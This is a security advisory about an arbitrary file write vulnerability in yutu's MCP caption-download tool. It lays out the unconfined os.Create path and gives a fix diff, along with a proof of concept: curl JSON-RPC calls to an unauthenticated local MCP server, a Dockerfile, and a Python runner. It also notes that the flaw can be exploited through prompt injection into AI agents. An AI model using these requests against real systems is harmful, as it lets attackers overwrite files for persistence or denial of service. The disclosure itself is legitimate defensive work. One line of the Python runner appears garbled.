yutu: Arbitrary File Write via MCP `caption-download` Tool
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
별도 긴급 패치 불필요 — 정기 시스템 업그레이드 주기에 맞춰 조치
CVSS 벡터 · 메트릭
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H상세 설명
Arbitrary File Write via MCP caption-download Tool
Summary
The caption-download MCP tool in yutu passes the caller-supplied file parameter directly to os.Create() at pkg/caption/caption.go:272 without any path validation, canonicalization, or confinement to the pkg.Root boundary (YUTU_ROOT). A local attacker — or any process able to reach the HTTP MCP server — can write arbitrary content to any path writable by the yutu process, entirely outside the intended working directory. This is a High severity vulnerability (CVSS 7.7) with high integrity and availability impact.
Details
yutu uses pkg.Root (backed by Go 1.24's os.OpenRoot) to restrict all file I/O to the YUTU_ROOT directory. Every other caption file-write path honours this boundary:
| Method | Sink | Confined? |
|---|---|---|
Caption.Insert() | pkg.Root.Open(c.File) (caption.go:109) | Yes |
Caption.Update() | pkg.Root.Open(c.File) (caption.go:193) | Yes |
Caption.Download() | os.Create(c.File) (caption.go:272) | No |
Caption.Download() is the sole outlier. The attacker-controlled file field flows without restriction from the MCP tool input schema to a raw os.Create() call:
- Source —
cmd/caption/download.go:32–41:downloadInSchemadeclaresfileas a requiredstringfield in the MCP JSON input schema. - Binding —
cmd/caption/download.go:61–64:cobramcp.GenToolHandlermaps MCP input toinput.Download(writer). - Sink —
pkg/caption/caption.go:272:os.Create(c.File)creates or truncates the file at the attacker-supplied path. - Write —
pkg/caption/caption.go:280:file.Write(body)writes the downloaded caption bytes to that path.
1// cmd/caption/download.go 2var downloadInSchema = &jsonschema.Schema{ 3 Required: []string{"ids", "file"}, // line 34 4 // ... 5 "file": {Type: "string", Description: fileUsage}, // line 40 6} 7 8// cobramcp.GenToolHandler binds MCP → handler (line 61-64) 9cobramcp.GenToolHandler(downloadTool, func(input caption.Caption, writer io.Writer) error {10 return input.Download(writer)11})12 13// pkg/caption/caption.go14body, err := io.ReadAll(res.Body) // line 26715file, err := os.Create(c.File) // line 272 ← unconfined sink16// ...17_, err = file.Write(body) // line 280The caption-download tool is registered by default in init() at cmd/caption/download.go:52, and the HTTP MCP server starts with --auth defaulting to false (cmd/mcp.go:42), meaning no authentication is required for local HTTP callers.
Recommended fix:
1--- a/pkg/caption/caption.go 2+++ b/pkg/caption/caption.go 3@@ 4- file, err := os.Create(c.File) 5+ file, err := pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600) 6 if err != nil { 7 return errors.Join(errDownloadCaption, err) 8 }PoC
Prerequisites:
- yutu
0.0.0-dev/ commit351c99d - Valid
YUTU_CREDENTIALandYUTU_CACHE_TOKENavailable - yutu MCP server running in HTTP mode
Docker-based reproduction (no live credentials needed):
The self-contained PoC builds a binary that exercises caption.Download() directly inside a container, with YUTU_ROOT=/tmp/yutu_safe_root as the confinement boundary.
1# From the report workspace root: 2docker build --no-cache -t yutu-vuln001-poc \ 3 -f vuln-001/Dockerfile \ 4 reports/mcp_49_eat-pray-ai__yutu 5 6docker run --rm yutu-vuln001-pocExpected output confirms:
pkg.Root.Open("/tmp/poc-arbitrary-write.txt")is correctly rejected withpath escapes from parent(control).caption.Download()withfile="/tmp/poc-arbitrary-write.txt"succeeds and creates a 79-byte file outsideYUTU_ROOT(exploit).
Live MCP server reproduction:
1# Start the HTTP MCP server (no auth by default) 2yutu mcp --mode http --port 8216 3 4# Initialise session 5curl -sD /tmp/yutu.headers \ 6 -H 'Content-Type: application/json' \ 7 -H 'Accept: application/json, text/event-stream' \ 8 http://localhost:8216/mcp \ 9 -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}' \10 >/tmp/yutu.init11 12SID=$(awk 'tolower($1)=="mcp-session-id:"{print $2}' /tmp/yutu.headers | tr -d '\r')13 14# Exploit: write caption to arbitrary path15# Replace CAPTION_ID with a caption id accessible by the configured token16curl -s \17 -H 'Content-Type: application/json' \18 -H 'Accept: application/json, text/event-stream' \19 ${SID:+-H "Mcp-Session-Id: $SID"} \20 http://localhost:8216/mcp \21 -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"caption-download","arguments":{"ids":["CAPTION_ID"],"file":"/tmp/yutu-cve-poc.srt","tfmt":"srt"}}}'22 23# Verify file was written outside YUTU_ROOT24test -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srtImpact
This is an Arbitrary File Write vulnerability. Any principal that can invoke the caption-download MCP tool — including an unauthenticated local process when the HTTP MCP server is running with default settings (--auth false) — can write attacker-controlled bytes to any file path accessible to the yutu process. This bypasses the YUTU_ROOT confinement boundary that all other file-write operations in yutu respect.
Potential consequences include:
- Overwriting application binaries, configuration files, or shell startup scripts to achieve persistent code execution.
- Corrupting log files or database files to cause denial of service.
- Writing web-accessible files in deployments where yutu runs alongside a web server.
- Exploitable via prompt injection into an AI agent that uses the yutu MCP server, since the
fileparameter is fully attacker-controlled with no guardrails.
Impacted parties: operators running yutu as an MCP server (HTTP mode, default configuration), AI agent pipelines that expose caption-download to untrusted input, and any user whose machine hosts a yutu process that a local attacker can reach.
Reproduction artifacts
Dockerfile
1# VULN-001 PoC Dockerfile 2# Build con: reports/mcp_49_eat-pray-ai__yutu/ 3# repo/ - the cloned yutu repository 4# vuln-001/ - this workspace (Dockerfile, poc_main.go) 5 6FROM golang:1.26 AS builder 7WORKDIR /build 8 9# Copy the yutu source tree (provides the vulnerable packages)10COPY repo/ .11 12# Inject PoC as a new command package (does not modify existing source)13RUN mkdir -p cmd/poc_exploit14COPY vuln-001/poc_main.go cmd/poc_exploit/main.go15 16# Build the PoC binary (static, no CGO needed)17RUN CGO_ENABLED=0 go build -o /poc ./cmd/poc_exploit/18 19# ── Runtime stage ──────────────────────────────────────────────────────────20FROM debian:12-slim21 22COPY --from=builder /poc /poc23 24# YUTU_ROOT defines the pkg.Root confinement boundary.25# The PoC writes to /tmp/poc-arbitrary-write.txt which is OUTSIDE this root,26# demonstrating the os.Create bypass.27ENV YUTU_ROOT=/tmp/yutu_safe_root28 29RUN mkdir -p /tmp/yutu_safe_root30 31CMD ["/poc"]poc.py
1#!/usr/bin/env python3 2""" 3VULN-001 PoC Runner 4Exploit: Arbitrary File Write via MCP caption-download (CWE-73) 5Target : pkg/caption/caption.go:272 -- os.Create(c.File) without pkg.Root confinement 6 7Usage: python3 poc.py 8""" 9import os10import subprocess11import sys12 13VULN_DIR = os.path.dirname(os.path.abspath(__file__))14CONTEXT_DIR = os.path.dirname(VULN_DIR) # mcp_49_eat-pray-ai__yutu/15DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")16IMAGE_NAME = "yutu-vuln001-poc"17 18 19def run(cmd, check=False, **kwargs):20 print("$ " + " ".join(str(a) for a in cmd))21 result = subprocess.run(cmd, =True, **kwargs)22 return result23 24 25def main():26 print("=" * 70)27 print("VULN-001: Arbitrary File Write via MCP caption-download")28 print("CWE-73 | pkg/caption/caption.go:272 | os.Create(c.File)")29 print("=" * 70)30 31 # ── Build ────────────────────────────────────────────────────────────────32 build_cmd = [33 "docker", "build",34 "--no-cache",35 "-t", IMAGE_NAME,36 "-f", DOCKERFILE,37 CONTEXT_DIR,38 ]39 print("\n[Step 1] Building Docker image ...")40 result = run(build_cmd, capture_output=False)41 if result.returncode != 0:42 print("\n[FAIL] Docker build failed.", file=sys.stderr)43 sys.exit(1)44 45 # ── Run ──────────────────────────────────────────────────────────────────46 run_cmd = ["docker", "run", "--rm", IMAGE_NAME]47 print("\n[Step 2] Running PoC container ...")48 result = run(run_cmd, capture_output=True)49 50 stdout = result.stdout or ""51 stderr = result.stderr or ""52 print(stdout, end="")53 if stderr:54 print(stderr, end="", file=sys.stderr)55 56 # ── Verdict ──────────────────────────────────────────────────────────────57 passed = (58 result.returncode == 059 and "VULNERABILITY CONFIRMED" in stdout60 and "PASS" in stdout61 and "os.Create bypasses pkg.Root" in stdout62 )63 64 if passed:65 print("\n[RESULT] PASS – vulnerability dynamically reproduced.")66 else:67 print(f"\n[RESULT] FAIL – container exit code {result.returncode}.", file=sys.stderr)68 sys.exit(1)69 70 71if __name__ == "__main__":72 main()AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.